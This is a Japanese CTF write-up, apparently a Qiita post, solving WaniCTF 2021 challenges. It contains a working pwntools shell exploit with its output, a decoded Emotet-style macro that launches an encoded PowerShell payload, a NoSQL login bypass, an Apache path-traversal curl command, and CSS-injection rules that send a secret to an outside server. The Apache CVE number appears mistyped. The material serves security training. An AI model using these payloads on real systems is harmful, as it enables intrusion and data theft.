そういえば、問題文にヒントがあった。

HINT
No RELRO vs Partial RELRO ?

この問題はNo RELRO。Partial RELROと違って、__libc_start_mainのアドレスも動的に取得される。だから何だという話だよな……。

答え: No RELROならば、.fini_arrayセクションが書き換えられる

.fini_arrayに書き込まれている関数は、終了時に呼び出される。なるほど。

呼び出し元がlibcではなくldなので、ldのアドレスからlibcのアドレスを計算する必要がある。ここにASLRは効かないけれど、なんか環境によって違うので、配布されているDockerfileを動かして取得した。

2回目は、もう今後mallocは使わないので、前述の方法でmallocを使って戻る。

attack.py
from pwn import *

elf = ELF("chall")
context.binary = elf

s = remote("diva.pwn.wanictf.org", 9008)

s.sendafter("0>", b"sing !!!%25$p")
s.sendafter("1>", b"a")
s.sendafter("2>", b"a")
s.sendafter("3>", b"a"*0x28+pack(0x31)+pack(0x4034b8))
s.sendafter("4>", b"a")
s.sendafter("5>", pack(elf.symbols.main))

s.recvuntil("!!!0x")
ld = int(s.recv(12), 16)

libc = ELF("libc-2.31.so")
libc.address = ld-(0x7f420177df5b-0x7f4201576000)

# fp = {sing, system}
s.sendafter("0>", b"write %* "+pack(elf.symbols.sing)+pack(libc.symbols.system))
s.sendafter("1>", b"erease /bin/sh")
s.sendafter("2>", b"a"*0x28+pack(0x31)+pack(elf.got.malloc))
s.sendafter("3>", b"a")
s.sendafter("4>", pack(elf.symbols.main)+pack(libc.symbols.strtok))

s.interactive()
$ python3 attack.py
[*] '/mnt/d/documents/ctf/wani2021_2/diva/chall'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to diva.pwn.wanictf.org on port 9008: Done
[*] '/mnt/d/documents/ctf/wani2021_2/diva/libc-2.31.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Switching to interactive mode
Program came from the future

I'm born to take flag with music
Year : 2061
command : write %* `\x13
----Lyrics list----
[0]:
[1]:
[2]:
[3]:
[4]:
-------------------
Year : 2076
command : erease /bin/sh
$ cat flag.txt
FLAG{in_this_dazzling_time}$

FLAG{in_this_dazzling_time}

Reversing

ltrace (Beginner)

この問題はltraceで解ける...ってコト!?

$ ltrace ./ltrace
printf("Input flag : ")                                                   = 13
__isoc99_scanf(0x5614ba208012, 0x7ffde1194db0, 0, 0Input flag : hoge
)                      = 1
strcmp("hoge", "FLAG{c4n_y0u_7r4c3_dyn4m1c_l1br4"...)                     = 34
puts("Incorrect"Incorrect
)                                                         = 10
+++ exited (status 1) +++

……。途中で切れてる。

ヒント : オプションをよく確認しよう

はい。

$ ltrace -s 100 ./ltrace
printf("Input flag : ")                                                   = 13
__isoc99_scanf(0x55b1576ea012, 0x7fff4b66e480, 0, 0Input flag : aaa
)                      = 1
strcmp("aaa", "FLAG{c4n_y0u_7r4c3_dyn4m1c_l1br4ry_c4ll5?}")               = 27
puts("Incorrect"Incorrect
)                                                         = 10
+++ exited (status 1) +++

FLAG{c4n_y0u_7r4c3_dyn4m1c_l1br4ry_c4ll5?}

pwsh (Easy)

PowerShellのウィンドウに|& ( $VErboSEPReFErencE.TostRIng()[1,3]+'x'-Join'')の前までを貼り付けたら解けた。

PS C:\Users\kusano> (("{39}{4}{12}{45}{21}{0}{36}{25}{26}{27}{7}{13}{30}{16}{31}{48}{23}{18}{19}{20}{24}{28}{3}{38}{11}{5}{2}{8}{46}{34}{29}{1}{35}{15}{10}{33}{9}{32}{22}{37}{40}{6}{43}{17}{47}{44}{14}{41}{42}"-f ' world of PowerShe','d_p','cl','d3','ch','1n_','else','ost cW4Passwo','34r1n68r30b','{
>>   Writ','l}','_','o ','r','W4Incor','w3r5h3l','W','
>>  ','t ','-eq c','W4FLAG{','he','t c','(fj7inpu','y0u_','fj7input =',' ','Read-H','5ucc33','473','dc','4','e-Outpu','cW4) ','u5c','0','ll!cW4
>>
>> ','W4Co','d','e','rrect!cW4
>> } ','rec','tcW4
>> }
>> ',' {','tput c','cW4Welcome to t','f',' Write-Ou','
>>
>> if ')).replACe('cW4',[STRiNg][CHAr]34).replACe('8r3',[STRiNg][CHAr]95).replACe('fj7',[STRiNg][CHAr]36)
echo "Welcome to the world of PowerShell!"

$input = Read-Host "Password"

if ($input -eq "FLAG{y0u_5ucc33d3d_1n_cl34r1n6_0bfu5c473d_p0w3r5h3ll}") {
  Write-Output "Correct!"
} else {
  Write-Output "Incorrect"
}

FLAG{y0u_5ucc33d3d_1n_cl34r1n6_0bfu5c473d_p0w3r5h3ll}

EmoEmotet (Hard)

Windows, Wordがなくても解くことができます
ヒント : https://github.com/decalage2/oletools

Wordはあるけど、何か対策されているのか単に環境が壊れているのかマクロが表示できなかったので、ヒントのツールを使った。

出てくるマクロが暗号化されているので復号。

solve.py
import base64

def unxor(cipher, start):
  key = (
    "rFd10H3vao2RCodxQF2lbfkUAjIr/6DL5qCnyC4p5EA0tEOXFafhhIdAIhum0XulB9+lU9wKRrDSWZ7XHGxFnPVUhqNK2DCnW8bI1MVWYxGhC4q5iFT5EzfCdTcWUu2+X9VTnKuwcOaIxVcmVyVjrWIRz4Dm3kecLNgAU8fZOKcu/XuMXN85ZMKjd3Rv882RBUFmICvacdJ36Yojk5HAwYoBpjjjHydt4NwJisnXgtA3K+2xqGEBfAPmz73uyn7CxCKGt7xPUdc+oRoeY+oObiyzIEPQS3mhWffHsNBhkbrBz1os3xEgxuM3gN6Xa5SE7Zo6G7vMFeKdYops3DGQuyDY60v7KXscOCLxwqeRFC+buIRH69E90JdP7KSC4CDZhxlv/cnX6HWdcWh7UTM7CWqzymtkqm/3fjp76pGxscG40k/M6UjaMnWg++oCkJZFMMenTvaxZ7GwyedlMxbOAtZ+INlBK+tPPIFbG42SRtmJH1e8Uz5p1E7h61vdxBkl"
    "l3sd196txhtnIlFZyHBc5IKXxHCbTa5hLl3CBpEgbn1I2FFhaEsYCtVyQrkdPmA5X6CuFhjuRacVoM131pMLVE7IQDG717EZ5BdiLOc4pb+5Q1iMAXfQQ6soJrjxM8ZgjzQYO5WuQkQFdfko6QZEa/0QaqhysOozj/sTeoj2wI2A0C/bwV35cV5EXJNOawqbWJCXdwzdsD8QjNhiDYGYFicJIRD5MBshvm1RGv1CZz54n+ziSgGe2vJ6GMy4cWv+i+hy0/shNgvhVcKuJfuPZuFUUHtqD3w07yZKj2ma+iKYCvIRO9nu8lYOQpbbowha1OyfGzx7BJkvJxth3b1xoJaiNMRwQZz/fiC8zvYxTlB0bsIHKR07xgI8gfCDd+NIhwL3YbdAor7ZfHhH3jNhBTykOlyrc/0yLQSTR8dx0BC9QMIerbSCqZ1Q4rUGEPiXIVvXjtrEhnSBTZW4U5uJHfGQbzlVuuRRCUAjyIzGCDHbDCjvEgwbNLLEzqdeJrh9"
    "3K1WddVO4bwcKlQb14luWJzBsDwrD8u7vi8LTRIe6A982G0Oygf6+Am9m2GIkp6eSWY3tSF/cOpmuWc+d1RCPzO5eEAm6TWT0ULWZ5QAMD31GObEpVRZ+eoCuDSckd0JvrP2lBSbZKRADL0unq3vhnmyTmflpvtH15ahJ+9mxgHGH2exGX6vgBx17iyx5T4WtBowQsIW310F1QrH6xNfvwM9PLv/3czSXs//jUDSB/AN60pVccuZtfPvp+ZMg6d9l0UKNiWIq7CMKbE7Z7BWWjNEMBPdfGbNzmQULvHXOXpnlZeyNd0ht57x9PljoFDD6N+sEuJ2DRprg7/qNZRJekOAF/VIID2SPgDfCkRhLg+Xq5KgysBO4U5nWKGD0IM1TYcc24pbCY31beUlebiKc2aS7MtxQ+o41wQaJQ8Ys5h13jeNgpUz5Vzc6BGWDUm6+X+Jqu/NK1qUy8Vmb5wXVl6BqFt6Y7yEGWv31QKTiVwyKWbuV+pRRYf3NvAqRX6n"
    "d1zFmAyuzoiVe1masPkUUjz2+uacpn8DuVpKrDJF64UDt4yhEeBsLHykecS+/r0pwEBGJdP/Vd/Y3OJ4MFUqnF9UvaYfrFG7trJQepnGH2DE4WTFna70hp9Fxx8LaJMI8lxfwBDxH5Z56kkF+j4hLuzq48vpQNId4tn+rFfFeHwp2GuZrVMkyQ1SVSDW9uUAjWu6ROhPEGwyjnjM2cG6MJQmphOD8bIfjGnOAscgU0d6FN0BHzRtx85xZwO1Vw=="
  )
  key = base64.b64decode(key)
  clear = ""
  for i in range(len(cipher)):
    clear += chr(cipher[i]^key[i+start])
  return clear

print(
  unxor([135, 46, 140, 24, 228, 225, 126, 169, 34, 40, 56], 3) +
  unxor([201, 1], 14)
)
# .Run
print(
  unxor([137, 123, 117, 87, 89, 140, 200, 174, 138, 204, 135, 229, 75, 9, 168, 39, 117, 219, 2, 212, 118, 230, 128, 213, 197, 44, 99, 93, 193, 144, 49, 210, 70, 175, 228, 16, 187, 75, 36, 215, 144, 31, 223, 159, 127, 45, 9, 205, 183, 34], 16) +
  unxor([199, 228, 3, 153, 81, 192, 25, 128, 137, 147, 136, 23, 7, 80, 224, 108, 203, 255, 197, 21, 174, 66, 117, 184, 52, 127, 71, 19, 183, 239, 29, 155, 18, 223, 159, 241, 35, 183, 202, 179, 22, 101, 99, 100, 54, 218, 32, 33, 142, 198, 175, 159, 29, 205, 110, 154, 65, 22, 247, 152, 91, 192, 108, 145, 58, 203, 25, 158, 99, 37, 128, 229, 54, 60, 38, 178, 134, 208, 68, 38, 39, 99, 76, 155, 56, 147, 53, 156, 203], 66) +
  unxor([102, 198, 208, 164, 182, 203, 117, 231, 127, 219, 94, 126, 10, 162, 173, 72, 207, 156, 150, 219, 167, 117, 27, 172, 242, 233, 32, 72, 61, 65, 178, 142, 245, 133, 139, 29, 181, 134, 18, 199, 242, 233, 14, 5, 134, 127, 212, 91, 91, 8, 171, 90, 25, 109, 198, 97, 6, 157, 10, 45, 214, 27, 185, 134, 246, 145, 32, 196, 221, 131, 137, 27, 100, 146, 80, 67, 177, 161, 71, 193, 155, 175, 42, 192, 227, 172, 239, 123, 92], 155) +
  unxor([234, 141, 79, 179, 223, 15, 203, 43, 171, 112, 201, 234, 98, 141, 170, 14, 174, 104, 46, 107, 122, 18, 176, 138, 238, 208, 78, 126, 217, 208, 197, 2, 219, 144, 118, 145, 213, 45, 173, 225, 233, 161, 66, 174, 198, 108, 46, 184, 249, 150, 178, 36, 223, 5, 41, 60, 105, 114, 110, 110, 40, 134, 139, 35, 41, 235, 57, 182, 60, 105, 58, 175, 196, 240, 224, 144, 250, 156, 14, 138, 217, 9, 147, 115, 55, 194, 186, 162, 79], 244) +
  unxor([209, 193, 20, 114, 189, 230, 8, 167, 240, 61, 224, 242, 135, 166, 38, 7, 87, 151, 117, 148, 46, 97, 158, 117, 106, 143, 40, 126, 199, 26, 83, 196, 211, 16, 152, 203, 123, 22, 248, 60, 127, 38, 179, 12, 140, 170, 29, 148, 133, 77, 82, 213, 53, 92, 146, 151, 236, 151, 74, 37, 118, 16, 28, 157, 49, 18, 131, 195, 167, 133, 54, 214, 12, 248, 32, 108, 36, 131, 65, 250, 97, 12, 26, 10, 182, 16, 34, 15, 10], 333) +
  unxor([81, 75, 148, 28, 3, 254, 84, 127, 57, 78, 30, 146, 239, 82, 115, 175, 20, 208, 87, 218, 140, 50, 189, 210, 111, 35, 12, 128, 1, 116, 208, 150, 230, 88, 166, 120, 35, 106, 166, 121, 243, 216, 251, 46, 25, 196, 102, 54, 130, 52, 233, 123, 103, 240, 146, 114, 144, 49, 205, 121, 89, 126, 226, 239, 23, 51, 71, 7, 184, 111, 154, 71, 39, 28, 191, 99, 43, 237, 59, 241, 187, 84, 205, 162, 82, 62, 227, 183, 145], 422) +
  unxor([220, 194, 134, 110, 158, 136, 28, 157, 6, 28, 18, 29, 219, 15, 42, 69, 202, 26, 210, 214, 48, 60, 156, 210, 88, 81, 191, 153, 36, 72, 192, 205, 71, 101, 125, 96, 84, 172, 113, 120, 112, 252, 31, 16, 92, 180, 3, 4, 127, 58, 214, 173, 165, 31, 64, 250, 139, 176, 79, 89, 136, 249, 48, 37, 153, 201, 184, 51, 155, 186, 96, 121, 74, 163, 28, 131, 230, 74, 186, 237, 17, 163, 101, 17, 51, 1, 78, 40, 101], 511) +
  unxor([173, 96, 11, 202, 44, 219, 158, 69, 217, 56, 179, 84, 118, 152, 185, 163, 20, 92, 3, 211, 142, 226, 92, 27, 150, 191, 222, 95, 105, 58, 87, 200, 109, 108, 90, 41, 190, 252, 39, 215, 215, 150, 117, 140, 19, 0, 206, 174, 60, 83, 253, 136, 153, 112, 28, 55, 54, 1, 131, 65, 74, 92, 97, 135, 64, 80, 192, 181, 183, 54, 130, 9, 197, 65, 182, 38, 196, 1, 248, 217, 155, 50, 57, 1, 135, 114, 53, 68, 126], 600) +
  unxor([246, 123, 20, 204, 50, 152, 85, 111, 106, 210, 2, 247, 48, 159, 65, 255, 33, 131, 91, 157, 245, 204, 232, 223, 23, 163, 243, 109, 81, 181, 198, 99, 13, 150, 202, 151, 133, 228, 53, 192, 53, 212, 255, 30, 218, 222, 76, 176, 230, 46, 127, 0, 251, 133, 0, 75, 6, 98, 143, 221, 135, 70, 86, 153, 72, 105, 167, 91, 77, 86, 67, 240, 157, 143, 239, 49, 103, 247, 44, 158, 232, 23, 50, 225, 15, 179, 237, 94, 120], 689) +
  unxor([21, 83, 142, 200, 60, 47, 222, 133, 241, 121, 102, 78, 134, 204, 252, 118, 74, 8, 97, 95, 138, 94, 62, 159, 44, 75, 147, 70, 175, 185, 75, 205, 218, 38, 251, 211, 199, 207, 11, 12, 118, 242, 74, 62, 19, 187, 36, 239, 38, 120, 58, 21, 17, 110, 113, 192, 57, 6, 111, 168, 102, 244, 147, 53, 151, 47, 247, 65, 123, 74, 183, 87, 167, 131, 236, 21, 60, 168, 168, 109, 249, 113, 164, 208, 138, 110, 252, 219, 183], 778) +
  unxor([220, 77, 218, 41, 229, 2, 88, 252, 106, 253, 236, 187, 215, 59, 193, 15, 32, 150, 231, 159, 48, 149, 160, 224, 111, 182, 39, 147, 118, 135, 109, 38, 249, 118, 63, 205, 247, 94, 37, 175, 100, 222, 164, 108, 71, 245, 42, 113, 7, 181, 87, 188, 28, 71, 172, 75, 129, 136, 82, 8, 238, 65, 105, 125, 243, 190, 156, 168, 181, 28, 153, 190, 197, 25, 147, 84, 135, 79, 188, 11, 18, 30, 138, 195, 228, 177, 172, 230, 163], 867) +
  unxor([116, 194, 246, 44, 213, 63, 75, 126, 78, 201, 230, 241, 205, 28, 240, 125, 46, 241, 50, 61, 113, 118, 113, 86, 190, 61, 41, 156, 140, 82, 85, 106, 154, 150, 116, 59, 37, 253, 214, 245, 112, 156, 68, 246, 220, 182, 181, 189, 58, 225, 9, 164, 170, 238, 237, 86, 187, 55, 95, 125, 41, 240, 254, 175, 112, 213, 7, 13, 2, 246, 86, 176, 29, 97, 105, 229, 127, 121, 158, 77, 51, 32, 116, 104, 213, 158, 211, 231, 161], 956) +
  unxor([129, 43, 134, 12, 8, 25, 228, 210, 145, 230, 100, 15, 197, 93, 157, 207, 26, 89, 220, 180, 84, 164, 102, 26, 249, 193, 34, 39, 225, 173, 136, 48, 2, 189, 79, 149, 126, 91, 99, 100, 89, 230, 239, 55, 238, 118, 200, 215, 212, 103, 180, 29, 169, 169, 86, 253, 76, 43, 205, 184, 10, 200, 239, 162, 140, 127, 45, 214, 133, 132, 32, 46, 221, 66, 49, 28, 237, 233, 29, 55, 34, 233, 243, 91, 27, 182, 146, 58, 210], 1045) +
  unxor([221, 59, 115, 92, 39, 169, 26, 171, 5, 50, 197, 131, 119, 184, 107, 4, 29, 192, 53, 48, 132, 208, 65, 239, 155, 255, 215, 11, 24, 223, 136, 184, 64, 53, 126, 130, 187, 163, 164, 231, 37, 66, 251, 28, 11, 234, 2, 4, 164, 226, 66, 129, 205, 228, 64, 161, 54, 125, 62, 224, 56, 131, 134, 191, 223, 120, 130, 17, 7, 109, 154, 190, 7, 142, 154, 136, 163, 62, 125, 20, 97, 205, 30, 51, 252, 229, 116, 237, 29], 1134) +
  unxor([250, 244, 208, 17, 50, 212, 135, 122, 49, 134, 155, 37, 131, 204, 239, 166, 215, 221, 49, 134, 92, 63, 41, 197, 73, 176, 26, 30, 134, 119, 176, 123, 215, 56, 159, 8, 66, 175, 127, 67, 73, 174, 128, 162, 142, 209, 1, 136, 92, 160, 147, 191, 233, 99, 132, 42, 11, 107, 188, 42, 221, 194, 18, 107, 174, 79, 16, 20, 104, 155, 183, 188, 119, 207, 27, 251, 1, 131, 14, 91, 61, 115, 233, 57, 143, 178, 128, 246, 87], 1223) +
  unxor([214, 95, 231, 84, 214, 176, 235, 78, 206, 44, 143, 68, 150, 97, 49, 48, 56, 82, 156, 68, 43, 117, 63, 134, 143, 30, 38, 64, 222, 22], 1312)
)
WScript.Shell
powershell -e LgAoACcAaQBlAFgAJwApACgAbgBFAHcALQBvAGIAagBFAGMAdAAgAFMAWQBzAHQAZQBNAC4ASQBvAC4AUwB0AFIAZQBBAE0AcgBlAGEAZABFAHIAKAAgACgAIABuAEUAdwAtAG8AYgBqAEUAYwB0ACAAIABTAHkAcwB0AEUATQAuAEkATwAuAEMATwBNAFAAUgBFAHMAcwBpAE8ATgAuAGQAZQBmAGwAYQBUAEUAUwB0AHIAZQBhAE0AKABbAEkAbwAuAE0AZQBtAG8AUgB5AHMAVABSAEUAQQBNAF0AIABbAHMAWQBzAFQAZQBNAC4AYwBPAG4AdgBFAHIAVABdADoAOgBmAFIATwBNAEIAQQBTAEUANgA0AFMAVAByAGkAbgBnACgAIAAnAGIAYwA2ADkAQwBzAEkAdwBHAEkAWABoAFAAVgBmAHgARwBSAHcAVQBMAEwAUwBrAGsAcwBsAEIAQgBYADkAQQBVAEIAdwBVAHAAOQBBAG0AbgA3AFEAUQBtADUAcQBrAFIAcABIAGUAdQB5ADAANgBPAHAAOABIAHoAbwB1AHkATQBFAEEAdgA2AEMAWQBRAEUATABSADUASQBKAHcAVwA4AHcARQBsAFoARgBoAFcAZABlAE4AaABCAGsAZgBNAFYATABRAHgAegBnAE0AOQBaAE0ANABGAFkAMQBVADMAbAAxAGMAWQAvAFUAaQBFAGQANgBDAHIAMwBYAHoAOQBEAG4ARQBRAHYARwBDAEMAMwBYAEsAbQBGAEYAUABpAGsAYQBjAGkAcQBVAFMASQByAFIASgBwAHcAKwBOAGIAeQBoAE8AWgBhAHYAMABTADcATQBsAGsAdwB6AHYAUwArAHoAbwBPAHoARQA0AEwAcAByAFcAWQBTAHAAdgBVAHYASwBWAGoAZQBCAE8AQQBzAHkAMAA5AFIAdgB2AEcAOQB6ADkAMABhAGEAeABGADYAYgB1ADYARgBsAEEANwAvAEUATwAyAGwAZgB5AGkAegBoAEQAeQBBAFEAPQA9ACcAKQAsACAAWwBzAFkAUwB0AEUATQAuAGkAbwAuAEMATwBNAFAAUgBlAFMAUwBpAG8ATgAuAGMATwBtAHAAcgBlAHMAUwBpAE8ATgBtAE8AZABFAF0AOgA6AEQAZQBDAG8AbQBQAHIARQBTAFMAKQAgACkALABbAHMAeQBzAFQARQBtAC4AVABFAFgAdAAuAGUAbgBjAE8AZABJAE4ARwBdADoAOgBBAHMAYwBpAEkAKQAgACkALgByAGUAYQBEAFQAbwBFAE4ARAAoACkA

-eに渡すのはBase64エンコードされた文字列らしいので、復号.

.('ieX')(nEw-objEct SYsteM.Io.StReAMreadEr( ( nEw-objEct  SystEM.IO.COMPREssiON.deflaTEStreaM([Io.MemoRysTREAM] [sYsTeM.cOnvErT]::fROMBASE64STring( 'bc69CsIwGIXhPVfxGRwULLSkkslBBX9AUBwUp9Amn7QQm5qkRpHeuy06Op8HzouyMEAv6CYQELR5IJwW8wElZFhWdeNhBkfMVLQxzgM9ZM4FY1U3l1cY/UiEd6Cr3Xz9DnEQvGCC3XKmFFPikaciqUSIrRJpw+NbyhOZav0S7MlkwzvS+zoOzE4LprWYSpvUvKVjeBOAsy09RvvG9z90aaxF6bu6FlA7/EO2lfyizhDyAQ=='), [sYStEM.io.COMPReSSioN.cOmpresSiONmOdE]::DeComPrESS) ),[sysTEm.TEXt.encOdING]::AsciI) ).reaDToEND()

fROMBASE64STring良いとして、deflaTEStreaMはどうしたら良いのだろうな。PowerShellの知識があれば、同じ処理でデコードした文字列を(実行するのではなく)書き出すだけだけれど、無い。PowerShellでそのまま実行して、PowerShellのメモリをダンプした。

echo "Yes, we love VBA!"..$input = Read-Host "Password"..if ($input -eq "FLAG{w0w_7h3_3mb3dd3d_vb4_1n_w0rd_4u70m471c4lly_3x3cu73d_7h3_p0w3r5h3ll_5cr1p7}") {.  Write-Output "Correct!".} else {.  Write-Output "Incorrect".}

FLAG{w0w_7h3_3mb3dd3d_vb4_1n_w0rd_4u70m471c4lly_3x3cu73d_7h3_p0w3r5h3ll_5cr1p7}

Web

sourcemap (Beginner)

へっへっへ...JavaScriptは難読化したから、誰もパスワードはわからないだろう...
え? ブラウザの開発者ツールのxxx機能から見れちゃうって!?

minifyしたときに生成されるファイル(source map)を一緒に配信すれば、ブラウザは元のソースコードを表示してくれるという機能がある。下の画像の webpack:// のところ。

image.png

FLAG{d3v700l_c4n_r3v34l_50urc3_c0d3_fr0m_50urc3m4p}

POST Challenge (Easy)

HTTP POSTに関する問題を5つ用意しました。すべて解いてFLAGを入手してください!

$ curl -sS https://post.web.wanictf.org/chal/1 -d 'data=hoge' | grep FLAG
  Congratulations! Challenge 1 FLAG: y0u
$ curl -sS https://post.web.wanictf.org/chal/2 -d 'data=hoge' -A 'Mozilla/5.0' | grep FLAG
  Congratulations! Challenge 2 FLAG: ar3
$ curl -sS https://post.web.wanictf.org/chal/3 -d 'data[hoge]=fuga' | grep FLAG
  Congratulations! Challenge 3 FLAG: http
$ curl -sS https://post.web.wanictf.org/chal/4 -d '{"hoge": 1, "fuga": null}' -H 'Content-Type: application/json' | grep FLAG
  Congratulations! Challenge 4 FLAG: p0st
$ curl -sS https://post.web.wanictf.org/chal/5 -F 'data=blic/images/wani.png' | grep FLAG
  Congratulations! Challenge 5 FLAG: m@ster!

FLAG{y0u_ar3_http_p0st_m@ster!}

NoSQL (Normal)

ユーザー名とパスワードを文字列ではなく{"$ne": 1}にするとログインできる。

$ curl https://nosql.web.wanictf.org/login -H 'Content-type: application/json' -d '{"username": {"$ne": 1}, "password": {"$ne": 1}}' -v

で出てきたcookieをブラウザに設定してアクセス。

traversal (Hard)

Webサーバーにロードバランサーをつけたよ!
なんかWebサーバーのバージョンがアレらしいけど、秘密のファイル/flag.txtはそのままでいっか!

Apacheのバージョンは最近パストラバーサルの脆弱性(CVE-2021-41733)が見つかったもの。それならやるだけかと思いきや、前段のnginxが邪魔をする。

先頭に/を付ければ回避できるらしい。へぇー。

curlが処理してしまわないように、--path-as-isを付ける。

$ curl --path-as-is https://traversal.web.wanictf.org/cgi-bin////.%2e/.%2e/.%2e/.%2e/flag.txt
FLAG{n61nx_w34k_c0nf16_m3r63_5l45h35}

FLAG{n61nx_w34k_c0nf16_m3r63_5l45h35}

Styled memo (Very hard)

CSSをアップロードすることで見た目を調整可能なメモアプリです!

CSS Injection。

何のセキュリティ機構か知らないけど、

style.css
button{background: url(http://myserver:8000)}

をアップロードして、python3 -m http.serverで待ち受けていると、HTTPSでリクエストが飛んできて表示できない……。まあ、これは適当なHTTPSのサーバーを使えば良いだろう。

adminevJVsXImにadminevJVsXImのメモを確認してもらう

をクリックしても、サーバーからのリクエストが飛んでこないと思ったら、「adminevJVsXImのメモ」を確認するのだった。私のメモではない。

名前をadminevJVsXIm/に(adminevJVsXImに変えようとしたら弾かれた)すると、adminが使っているディレクトリにCSSを置ける。ここにexample.cssというファイル名で置いておくと、adminがそのCSSを読み込む。

example.css
button[data-content^='FLAG{0']{background: url(https://ksnctf.sweetduet.info/wani/?0)}
button[data-content^='FLAG{1']{background: url(https://ksnctf.sweetduet.info/wani/?1)}
button[data-content^='FLAG{2']{background: url(https://ksnctf.sweetduet.info/wani/?2)}
button[data-content^='FLAG{3']{background: url(https://ksnctf.sweetduet.info/wani/?3)}
button[data-content^='FLAG{4']{background: url(https://ksnctf.sweetduet.info/wani/?4)}
 :

で、 https://ksnctf.sweetduet.info/wani/?C にリクエストが飛んでくるので、次は、

example.css
button[data-content^='FLAG{C0']{background: url(https://ksnctf.sweetduet.info/wani/?0)}
button[data-content^='FLAG{C1']{background: url(https://ksnctf.sweetduet.info/wani/?1)}
button[data-content^='FLAG{C2']{background: url(https://ksnctf.sweetduet.info/wani/?2)}
button[data-content^='FLAG{C3']{background: url(https://ksnctf.sweetduet.info/wani/?3)}
button[data-content^='FLAG{C4']{background: url(https://ksnctf.sweetduet.info/wani/?4)}
 :

をアップロードして……ということを手作業で頑張った。

FLAG{CSS_Injecti0n_us1ng_d1r3ctory_tr@versal}

1
2
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
2

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?